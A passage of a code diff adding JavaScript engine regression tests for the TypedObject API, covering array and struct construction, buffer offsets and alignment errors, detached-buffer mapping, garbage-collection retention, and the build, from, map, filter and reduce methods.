+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/arrayzerolen.js b/js/src/tests/ecma_7/TypedObject/arrayzerolen.js
new file mode 100644
index 000000000..c8cdf2f54
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/arrayzerolen.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 926401;
+var summary = 'TypedObjects ArrayType implementation';
+
+// Test creation of zero-length array
+
+function runTest() {
+ var T = TypedObject;
+ var Color = new T.StructType({'r': T.uint8, 'g': T.uint8, 'b': T.uint8});
+ var Rainbow = Color.array(0);
+ var theOneISawWasJustBlack = new Rainbow([]);
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTest();
diff --git a/js/src/tests/ecma_7/TypedObject/atopbuffer.js b/js/src/tests/ecma_7/TypedObject/atopbuffer.js
new file mode 100644
index 000000000..6385edd9c
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/atopbuffer.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 898356;
+
+var {StructType, uint32, Object, Any, storage, objectType} = TypedObject;
+
+function main() { // once a C programmer, always a C programmer.
+ print(BUGNUMBER + ": " + summary);
+
+ var Uints = new StructType({f: uint32, g: uint32});
+
+ var anArray = new Uint32Array(2);
+ anArray[0] = 22;
+ anArray[1] = 44;
+
+ var uints = new Uints(anArray.buffer);
+ assertEq(storage(uints).buffer, anArray.buffer);
+ assertEq(uints.f, 22);
+ assertEq(uints.g, 44);
+
+ uints.f++;
+ assertEq(anArray[0], 23);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+main();
diff --git a/js/src/tests/ecma_7/TypedObject/atopbufferwithoffset.js b/js/src/tests/ecma_7/TypedObject/atopbufferwithoffset.js
new file mode 100644
index 000000000..a4e3af08c
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/atopbufferwithoffset.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 898356;
+
+var {StructType, uint32, Object, Any, storage, objectType} = TypedObject;
+
+function main() { // once a C programmer, always a C programmer.
+ print(BUGNUMBER + ": " + summary);
+
+ var Uints = new StructType({f: uint32, g: uint32});
+
+ var anArray = new Uint32Array(4);
+ anArray[1] = 22;
+ anArray[2] = 44;
+
+ var uints = new Uints(anArray.buffer, 4);
+ assertEq(storage(uints).buffer, anArray.buffer);
+ assertEq(uints.f, 22);
+ assertEq(uints.g, 44);
+ uints.f++;
+ assertEq(anArray[1], 23);
+
+ // No misaligned byte offsets or offsets that would stretch past the end:
+ assertThrows(() => new Uints(anArray.buffer, -4)); // negative
+ assertThrows(() => new Uints(anArray.buffer, -3)); // negative
+ assertThrows(() => new Uints(anArray.buffer, -2)); // negative
+ assertThrows(() => new Uints(anArray.buffer, -1)); // negative
+ new Uints(anArray.buffer, 0); // ok
+ assertThrows(() => new Uints(anArray.buffer, 1)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 2)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 3)); // misaligned
+ new Uints(anArray.buffer, 4); // ok
+ assertThrows(() => new Uints(anArray.buffer, 5)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 6)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 7)); // misaligned
+ new Uints(anArray.buffer, 8); // ok
+ assertThrows(() => new Uints(anArray.buffer, 9)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 10)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 11)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 12)); // would extend past end
+ assertThrows(() => new Uints(anArray.buffer, 13)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 14)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 15)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 16)); // would extend past end
+ assertThrows(() => new Uints(anArray.buffer, 17)); // misaligned
+ assertThrows(() => new Uints(anArray.buffer, 4294967292)); // overflows int
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+main();
diff --git a/js/src/tests/ecma_7/TypedObject/map-neutered-midway.js b/js/src/tests/ecma_7/TypedObject/map-neutered-midway.js
new file mode 100644
index 000000000..2e3892d7a
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/map-neutered-midway.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject")||!xulRuntime.shell) -- needs TypedObject, detachArrayBuffer()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 991981;
+var summary =
+ "Behavior of mapping from an array whose buffer is detached midway through " +
+ "mapping";
+
+function mapOneDimArrayOfUint8()
+{
+ var FourByteArray = TypedObject.uint8.array(4);
+ var FourByteArrayArray = FourByteArray.array(4);
+
+ var buf = new ArrayBuffer(16);
+ var arr = new FourByteArrayArray(buf);
+
+ var count = 0;
+ assertThrowsInstanceOf(function()
+ {
+ arr.map(function(v)
+ {
+ if (count++ > 0)
+ detachArrayBuffer(buf);
+ return new FourByteArray();
+ });
+ }, TypeError, "mapping of a detached object worked?");
+}
+
+function runTests()
+{
+ print(BUGNUMBER + ": " + summary);
+
+ mapOneDimArrayOfUint8();
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/memory.js b/js/src/tests/ecma_7/TypedObject/memory.js
new file mode 100644
index 000000000..242124177
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/memory.js
@@ -0,0 +1,97 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects memory check';
+
+function spin() {
+ for (var i = 0; i < 10000; i++)
+ ;
+}
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ var AA = uint8.array(5, 5);
+ var aa = new AA();
+ var aa0 = aa[0];
+ aa[0] = [0,1,2,3,4];
+
+ aa = null;
+
+ gc();
+ spin();
+
+ for (var i = 0; i < aa0.length; i++)
+ assertEq(aa0[i], i);
+
+ var AAA = AA.array(5);
+ var aaa = new AAA();
+ var a0 = aaa[0][0];
+
+ for (var i = 0; i < a0.length; i++)
+ assertEq(a0[i], 0);
+
+ aaa[0] = [[0,1,2,3,4], [0,1,2,3,4], [0,1,2,3,4], [0,1,2,3,4], [0,1,2,3,4]];
+
+ aaa = null;
+
+ gc();
+ spin();
+ for (var i = 0; i < a0.length; i++)
+ assertEq(a0[i], i);
+
+ var Color = new StructType({'r': uint8, 'g': uint8, 'b': uint8});
+ var Rainbow = Color.array(7);
+
+ var theOneISawWasJustBlack = new Rainbow([
+ {'r': 0, 'g': 0, 'b': 0},
+ {'r': 0, 'g': 0, 'b': 0},
+ {'r': 0, 'g': 0, 'b': 0},
+ {'r': 0, 'g': 0, 'b': 0},
+ {'r': 0, 'g': 0, 'b': 0},
+ {'r': 0, 'g': 0, 'b': 0},
+ {'r': 0, 'g': 0, 'b': 0}]);
+
+ var middleBand = theOneISawWasJustBlack[3];
+ theOneISawWasJustBlack = null;
+ gc();
+ spin();
+ assertEq(middleBand['r'] == 0 && middleBand['g'] == 0 && middleBand['b'] == 0, true);
+ middleBand.r = 255;
+ middleBand.g = 207;
+ middleBand.b = 142;
+ assertEq(middleBand['r'] == 255 && middleBand['g'] == 207 && middleBand['b'] == 142, true);
+
+ var scopedType = function() {
+ var Point = new StructType({'x': int32, 'y': int32});
+ var aPoint = new Point();
+ aPoint.x = 4;
+ aPoint.y = 5;
+ return aPoint;
+ }
+
+ var point = scopedType();
+ gc();
+ spin();
+ gc();
+ assertEq(point.constructor.fieldTypes.x, int32);
+ assertEq(point.constructor.fieldTypes.y, int32);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/method_build.js b/js/src/tests/ecma_7/TypedObject/method_build.js
new file mode 100644
index 000000000..c23f629c1
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/method_build.js
@@ -0,0 +1,141 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 939715;
+var summary = 'method type.build';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function oneDimensionalArrayOfUints() {
+ var grain = uint32;
+ var type = grain.array(4);
+ var r1 = type.build(x => x * 2);
+ assertTypedEqual(type, r1, new type([0, 2, 4, 6]));
+}
+
+function oneDimensionalArrayOfStructs() {
+ var grain = new StructType({f: uint32});
+ var type = grain.array(4);
+ var r1 = type.build(x => new grain({f: x * 2}));
+ var r2 = type.build((x, out) => { out.f = x * 2; });
+ assertTypedEqual(type, r1, new type([{f:0}, {f:2},
+ {f:4}, {f:6}]));
+ assertTypedEqual(type, r1, r2);
+}
+
+// At an attempt at readability, the tests below all try to build up
+// numbers where there is a one-to-one mapping between input dimension
+// and base-10 digit in the output.
+//
+// (Note that leading zeros must be elided in the expected-values to
+// avoid inadvertantly interpreting the numbers as octal constants.)
+
+function twoDimensionalArrayOfStructsWithDepth2() {
+ var grain = new StructType({f: uint32});
+ var type = grain.array(2, 2);
+
+ var r1 = type.build(2, (x, y) => {
+ return new grain({f: x * 10 + y});
+ });
+
+ var r2 = type.build(2, (x, y, out) => {
+ out.f = x * 10 + y;
+ });
+
+ assertTypedEqual(type, r1, new type([[{f: 0}, {f: 1}],
+ [{f:10}, {f:11}]]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function twoDimensionalArrayOfStructsWithDepth1() {
+ var grain = new StructType({f: uint32}).array(2);
+ var type = grain.array(2);
+
+ var r1 = type.build((x) => {
+ return new grain([{f: x * 10},
+ {f: x * 10 + 1}]);
+ });
+
+ var r2 = type.build(1, (x, out) => {
+ out[0].f = x * 10 + 0;
+ out[1].f = x * 10 + 1;
+ });
+
+ assertTypedEqual(type, r1, new type([[{f: 0}, {f: 1}],
+ [{f:10}, {f:11}]]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function threeDimensionalArrayOfUintsWithDepth3() {
+ var grain = uint32;
+ var type = grain.array(2).array(2).array(2);
+ var r1 = type.build(3, (x,y,z) => x * 100 + y * 10 + z);
+ assertTypedEqual(type, r1, new type([[[ 0, 1], [ 10, 11]],
+ [[100, 101], [110, 111]]]));
+}
+
+function threeDimensionalArrayOfUintsWithDepth2() {
+ var grain = uint32.array(2);
+ var type = grain.array(2).array(2);
+ var r1 = type.build(2, (x,y) => [x * 100 + y * 10 + 0, x * 100 + y * 10 + 1]);
+ var r1b = type.build(2, (x,y) => grain.build(z => x * 100 + y * 10 + z));
+ var r1c = type.build(2, (x,y) => grain.build(1, z => x * 100 + y * 10 + z));
+
+ var r2 = type.build(2, (x,y, out) => { out[0] = x * 100 + y * 10 + 0;
+ out[1] = x * 100 + y * 10 + 1;
+ });
+ assertTypedEqual(type, r1, new type([[[ 0, 1], [ 10, 11]],
+ [[100, 101], [110, 111]]]));
+ assertTypedEqual(type, r1, r1b);
+ assertTypedEqual(type, r1, r1c);
+ assertTypedEqual(type, r1, r2);
+}
+
+function threeDimensionalArrayOfUintsWithDepth1() {
+ var grain = uint32.array(2).array(2);
+ var type = grain.array(2);
+ var r1 = type.build(1, (x) => grain.build(y => [x * 100 + y * 10 + 0, x * 100 + y * 10 + 1]));
+ var r1b = type.build(1, (x) => grain.build(1, y => [x * 100 + y * 10 + 0, x * 100 + y * 10 + 1]));
+ var r1c = type.build(1, (x) => grain.build(2, (y,z) => x * 100 + y * 10 + z));
+ var r2 = type.build(1, (x, out) => { out[0][0] = x * 100 + 0 * 10 + 0;
+ out[0][1] = x * 100 + 0 * 10 + 1;
+ out[1][0] = x * 100 + 1 * 10 + 0;
+ out[1][1] = x * 100 + 1 * 10 + 1;
+ });
+ assertTypedEqual(type, r1, new type([[[ 0, 1], [ 10, 11]],
+ [[100, 101], [110, 111]]]));
+ assertTypedEqual(type, r1, r1b);
+ assertTypedEqual(type, r1, r1c);
+ assertTypedEqual(type, r1, r2);
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ oneDimensionalArrayOfUints();
+ oneDimensionalArrayOfStructs();
+ twoDimensionalArrayOfStructsWithDepth2();
+ twoDimensionalArrayOfStructsWithDepth1();
+ threeDimensionalArrayOfUintsWithDepth3();
+ threeDimensionalArrayOfUintsWithDepth2();
+ threeDimensionalArrayOfUintsWithDepth1();
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/method_filter.js b/js/src/tests/ecma_7/TypedObject/method_filter.js
new file mode 100644
index 000000000..37cd445a2
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/method_filter.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 939715;
+var summary = 'method instance.filter';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+var objectType = TypedObject.objectType;
+
+function filterOdds() {
+ var length = 100;
+ var Uint32s = new ArrayType(uint32, 100);
+ var uint32s = new Uint32s();
+ for (var i = 0; i < length; i++)
+ uint32s[i] = i;
+
+ var odds = uint32s.filter(i => (i % 2) != 0);
+ assertEq(50, odds.length);
+ for (var i = 0, j = 1; j < length; i++, j += 2)
+ assertEq(odds[i], j);
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ filterOdds();
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/method_from.js b/js/src/tests/ecma_7/TypedObject/method_from.js
new file mode 100644
index 000000000..81980837c
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/method_from.js
@@ -0,0 +1,238 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 939715;
+var summary = 'method type.from';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+// Test name format:
+
+// from<N>DimArrayOf<G1>sTo<G2>s where <N> is a positive integer (or its
+// equivalent word in English) and <G1> and <G2> are both grain types
+// (potentially an array themselves.)
+
+function fromOneDimArrayOfUint8ToUint32s() {
+ var intype = uint8.array(4);
+ var type = uint32.array(4);
+ var i1 = intype.build(i => i);
+ var r1 = type.from(i1, j => j*2);
+ var r2 = type.from(i1, 1, j => j*2);
+ assertTypedEqual(type, r1, new type([0, 2, 4, 6]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function fromOneDimArrayOfUint32ToUint8s() {
+ var intype = uint32.array(4);
+ var type = uint8.array(4);
+ var i1 = intype.build(i => i);
+ var r1 = type.from(i1, j => j*200);
+ var r2 = type.from(i1, 1, j => j*200);
+ assertTypedEqual(type, r1, new type([0, 200, 400 % 256, 600 % 256]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function fromTwoDimArrayOfUint8ToUint32s() {
+ var intype = uint8.array(4).array(4);
+ var rowtype = uint32.array(4);
+ var type = rowtype.array(4);
+ var i1 = new type([[10, 11, 12, 13],
+ [20, 21, 22, 23],
+ [30, 31, 32, 33],
+ [40, 41, 42, 43]]);
+
+ var r1 = type.from(i1, 2, x => x*2);
+ var r2 = type.from(i1, 1, a => rowtype.from(a, 1, x => x*2));
+ var r3 = type.from(i1, 1, (a, j, c, out) => { out[0] = a[0]*2;
+ out[1] = a[1]*2;
+ out[2] = a[2]*2;
+ out[3] = a[3]*2; });
+ assertTypedEqual(type, r1, new type([[20, 22, 24, 26],
+ [40, 42, 44, 46],
+ [60, 62, 64, 66],
+ [80, 82, 84, 86]]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+function fromTwoDimArrayOfUint32ToUint8s() {
+ var intype = uint32.array(4).array(4);
+ var rowtype = uint8.array(4);
+ var type = rowtype.array(4);
+ var i1 = new type([[10, 11, 12, 13],
+ [20, 21, 22, 23],
+ [30, 31, 32, 33],
+ [40, 41, 42, 43]]);
+
+ var r1 = type.from(i1, 2, x => x*2);
+ var r2 = type.from(i1, 1, a => rowtype.from(a, 1, x => x*2));
+ var r3 = type.from(i1, 1, (a, j, c, out) => { out[0] = a[0]*2;
+ out[1] = a[1]*2;
+ out[2] = a[2]*2;
+ out[3] = a[3]*2; });
+ assertTypedEqual(type, r1, new type([[20, 22, 24, 26],
+ [40, 42, 44, 46],
+ [60, 62, 64, 66],
+ [80, 82, 84, 86]]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+function fromOneDimArrayOfArrayOfUint8ToUint32s() {
+ var intype = uint8.array(4).array(4);
+ var type = uint32.array(4);
+ var i1 = new intype([[0xdd, 0xcc, 0xbb, 0xaa],
+ [0x09, 0x08, 0x07, 0x06],
+ [0x15, 0x14, 0x13, 0x12],
+ [0x23, 0x32, 0x41, 0x50]]);
+
+ function combine(a,b,c,d) { return a << 24 | b << 16 | c << 8 | d; }
+
+ var r1 = type.from(i1, x => combine(x[0], x[1], x[2], x[3]));
+ assertTypedEqual(type, r1, new type([0xddccbbaa,
+ 0x09080706,
+ 0x15141312,
+ 0x23324150]));
+}
+
+function fromOneDimArrayOfUint32ToArrayOfUint8s() {
+ var intype = uint32.array(4);
+ var type = uint8.array(4).array(4);
+ var i1 = new intype([0xddccbbaa,
+ 0x09080706,
+ 0x15141312,
+ 0x23324150]);
+
+ function divide(a) { return [a >> 24 & 0xFF, a >> 16 & 0xFF, a >> 8 & 0xFF, a & 0xFF]; }
+
+ var r1 = type.from(i1, x => divide(x));
+ var r2 = type.from(i1, 1, (x, i, c, out) => {
+ var [a,b,c,d] = divide(x);
+ out[0] = a; out[1] = b; out[2] = c; out[3] = d;
+ });
+ assertTypedEqual(type, r1, new type([[0xdd, 0xcc, 0xbb, 0xaa],
+ [0x09, 0x08, 0x07, 0x06],
+ [0x15, 0x14, 0x13, 0x12],
+ [0x23, 0x32, 0x41, 0x50]]));
+ assertTypedEqual(type, r1, r2);
+}
+
+var Grain = new StructType({f: uint32});
+function wrapG(v) { return new Grain({f: v}); }
+function doubleG(g) { return new Grain({f: g.f * 2}); }
+function tenG(x, y) { return new Grain({f: x * 10 + y}); }
+
+function fromOneDimArrayOfStructsToStructs() {
+ var type = Grain.array(4);
+ var i1 = type.build(wrapG);
+ var r1 = type.from(i1, doubleG);
+ var r2 = type.from(i1, 1, doubleG);
+ var r3 = type.from(i1, 1, (g, j, c, out) => { out.f = g.f * 2; });
+ assertTypedEqual(type, r1, new type([{f:0}, {f:2},
+ {f:4}, {f:6}]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+function fromTwoDimArrayOfStructsToStructs() {
+ var rowtype = Grain.array(2);
+ var type = rowtype.array(2);
+ var i1 = type.build(2, tenG);
+ var r1 = type.from(i1, 2, doubleG);
+ var r2 = type.from(i1, 1, (m) => rowtype.from(m, 1, doubleG));
+ var r3 = type.from(i1, 1,
+ (m, j, c, out) => { out[0].f = m[0].f * 2; out[1].f = m[1].f * 2; });
+ assertTypedEqual(type, r1, new type([[{f:00}, {f:02}],
+ [{f:20}, {f:22}]]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+function fromOneDimArrayOfStructsToArrayOfStructs() {
+ var Line = Grain.array(2);
+ var Box = Line.array(2);
+ var i1 = Line.build(wrapG);
+ var r1 = Box.from(i1, (g) => Line.build((y) => tenG(g.f, y)));
+ var r2 = Box.from(i1, (g) => Line.from(i1, (y) => tenG(g.f, y.f)));
+ var r3 = Box.from(i1,
+ (g, j, c, out) => { out[0] = tenG(g.f, 0); out[1] = tenG(g.f, 1); });
+ assertTypedEqual(Box, r1, new Box([[{f:00}, {f:01}],
+ [{f:10}, {f:11}]]));
+ assertTypedEqual(Box, r1, r2);
+ assertTypedEqual(Box, r1, r3);
+}
+
+function Array_build(n, f) {
+ var a = new Array(n);
+ for ( var i=0 ; i < n ; i++ )
+ a[i] = f(i);
+ return a;
+}
+
+function fromUntypedArrayToUint32s() {
+ var type = uint32.array(4);
+ var i1 = Array_build(4, i => i);
+ var r1 = type.from(i1, j => j*2);
+ var r2 = type.from(i1, 1, j => j*2);
+ assertTypedEqual(type, r1, new type([0, 2, 4, 6]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function fromUntypedArrayToUint8s() {
+ var type = uint8.array(4);
+ var i1 = Array_build(4, i => i);
+ var r1 = type.from(i1, j => j*200);
+ var r2 = type.from(i1, 1, j => j*200);
+ assertTypedEqual(type, r1, new type([0, 200, 400 % 256, 600 % 256]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function fromNonArrayTypedObjects() {
+ var type = TypedObject.uint32.array(4);
+ var myStruct = new StructType({x: uint32});
+ var r1 = type.from(new myStruct({x: 42}), j => j);
+ assertTypedEqual(type, r1, new type([0,0,0,0]));
+
+ var r2 = type.from(SIMD.Int32x4(0,0,0,0), j => j);
+ assertTypedEqual(type, r1, new type([0,0,0,0]));
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ fromOneDimArrayOfUint8ToUint32s();
+ fromOneDimArrayOfUint32ToUint8s();
+
+ fromTwoDimArrayOfUint8ToUint32s();
+ fromTwoDimArrayOfUint32ToUint8s();
+
+ fromOneDimArrayOfArrayOfUint8ToUint32s();
+ fromOneDimArrayOfUint32ToArrayOfUint8s();
+
+ fromOneDimArrayOfStructsToStructs();
+ fromTwoDimArrayOfStructsToStructs();
+
+ fromOneDimArrayOfStructsToArrayOfStructs();
+
+ fromUntypedArrayToUint32s();
+ fromUntypedArrayToUint8s();
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/method_map.js b/js/src/tests/ecma_7/TypedObject/method_map.js
new file mode 100644
index 000000000..e5bf9b3ee
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/method_map.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 939715;
+var summary = 'method instance.map';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+// Test name format:
+
+// map<N>DimArrayOf<G1>sTo<G2>s where <N> is a positive integer (or its
+// equivalent word in English) and <G1> and <G2> are both grain types
+// (potentially an array themselves.)
+
+function mapOneDimArrayOfUint8() {
+ var type = uint8.array(4);
+ var i1 = type.build(i => i);
+ var r1 = i1.map(j => j*200);
+ var r2 = i1.map(1, j => j*200);
+ assertTypedEqual(type, r1, new type([0, 200, 400 % 256, 600 % 256]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function mapOneDimArrayOfUint32() {
+ var type = uint32.array(4);
+ var i1 = type.build(i => i);
+ var r1 = i1.map(j => j*200);
+ var r2 = i1.map(1, j => j*200);
+ assertTypedEqual(type, r1, new type([0, 200, 400, 600]));
+ assertTypedEqual(type, r1, r2);
+}
+
+function mapTwoDimArrayOfUint8() {
+ var type = uint8.array(4).array(4);
+ var i1 = new type([[10, 11, 12, 13],
+ [20, 21, 22, 23],
+ [30, 31, 32, 33],
+ [40, 41, 42, 43]]);
+
+ var r1 = i1.map(2, x => x*2);
+ var r2 = i1.map(1, a => a.map(1, x => x*2));
+ var r3 = i1.map(1, (a, j, c, out) => { out[0] = a[0]*2;
+ out[1] = a[1]*2;
+ out[2] = a[2]*2;
+ out[3] = a[3]*2; });
+ assertTypedEqual(type, r1, new type([[20, 22, 24, 26],
+ [40, 42, 44, 46],
+ [60, 62, 64, 66],
+ [80, 82, 84, 86]]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+function mapTwoDimArrayOfUint32() {
+ var type = uint32.array(4).array(4);
+ var i1 = new type([[10, 11, 12, 13],
+ [20, 21, 22, 23],
+ [30, 31, 32, 33],
+ [40, 41, 42, 43]]);
+
+ var r1 = i1.map(2, x => x*2);
+ var r2 = i1.map(1, a => a.map(1, x => x*2));
+ var r3 = i1.map(1, (a, j, c, out) => { out[0] = a[0]*2;
+ out[1] = a[1]*2;
+ out[2] = a[2]*2;
+ out[3] = a[3]*2; });
+ assertTypedEqual(type, r1, new type([[20, 22, 24, 26],
+ [40, 42, 44, 46],
+ [60, 62, 64, 66],
+ [80, 82, 84, 86]]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+var Grain = new StructType({f: uint32});
+function wrapG(v) { return new Grain({f: v}); }
+function doubleG(g) { return new Grain({f: g.f * 2}); }
+function tenG(x, y) { return new Grain({f: x * 10 + y}); }
+
+function mapOneDimArrayOfStructs() {
+ var type = Grain.array(4);
+ var i1 = type.build(wrapG);
+ var r1 = i1.map(doubleG);
+ var r2 = i1.map(1, doubleG);
+ var r3 = i1.map(1, (g, j, c, out) => { out.f = g.f * 2; });
+ assertTypedEqual(type, r1, new type([{f:0}, {f:2},
+ {f:4}, {f:6}]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+function mapTwoDimArrayOfStructs() {
+ var rowtype = Grain.array(2);
+ var type = rowtype.array(2);
+ var i1 = type.build(2, tenG);
+ var r1 = i1.map(2, doubleG);
+ var r2 = i1.map(1, (m) => m.map(1, doubleG));
+ var r3 = i1.map(1, (m, j, c, out) => { out[0].f = m[0].f * 2;
+ out[1].f = m[1].f * 2; });
+ assertTypedEqual(type, r1, new type([[{f:00}, {f:02}],
+ [{f:20}, {f:22}]]));
+ assertTypedEqual(type, r1, r2);
+ assertTypedEqual(type, r1, r3);
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ mapOneDimArrayOfUint8();
+ mapOneDimArrayOfUint32();
+
+ mapTwoDimArrayOfUint8();
+ mapTwoDimArrayOfUint32();
+
+ mapOneDimArrayOfStructs();
+ mapTwoDimArrayOfStructs();
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/method_reduce.js b/js/src/tests/ecma_7/TypedObject/method_reduce.js
new file mode 100644
index 000000000..7e710d62e
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/method_reduce.js
@@ -0,0 +1,91 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 939715;
+var summary = 'method instance.reduce';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function reduceUint8s() {
+ var uint8Array = uint8.array(5);
+ var array = new uint8Array([128, 129, 130, 131, 132]);
+
+ var sum = array.reduce((a, b) => a + b);
+ assertEq(sum, (128+129+130+131+132) % 256);
+
+ var f64Array = float64.array(5);
+ var floats = new f64Array([128.0, 129.0, 130.0, 131.0, 132.0]);
+
+ // (Note that floating point add is not associative in general;
